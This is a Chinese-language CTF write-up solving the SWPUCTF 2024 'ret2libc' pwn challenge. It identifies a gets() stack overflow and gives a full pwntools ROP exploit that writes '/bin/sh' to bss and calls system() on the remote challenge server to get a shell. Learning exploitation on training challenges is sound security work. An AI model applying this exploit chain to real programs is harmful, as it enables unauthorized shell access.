[SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?(NSSCTF)
ida 反编译看 main 函数
gets 存在栈溢出
偏移 48+8 = 56
自带后门函数
但是没有 /bin/sh
存在可写段,我们可以利用 gets 写入 /bin/sh
payload:
先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr
然后再存入被改写内容的地址,作为参数,调用 system 函数即可
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_addr)
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
编写 exp:
我们在调用 gets 函数之后并不需要返回到原来的函数中
在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整
因此用不到 ret
# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_addr)
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
可以打通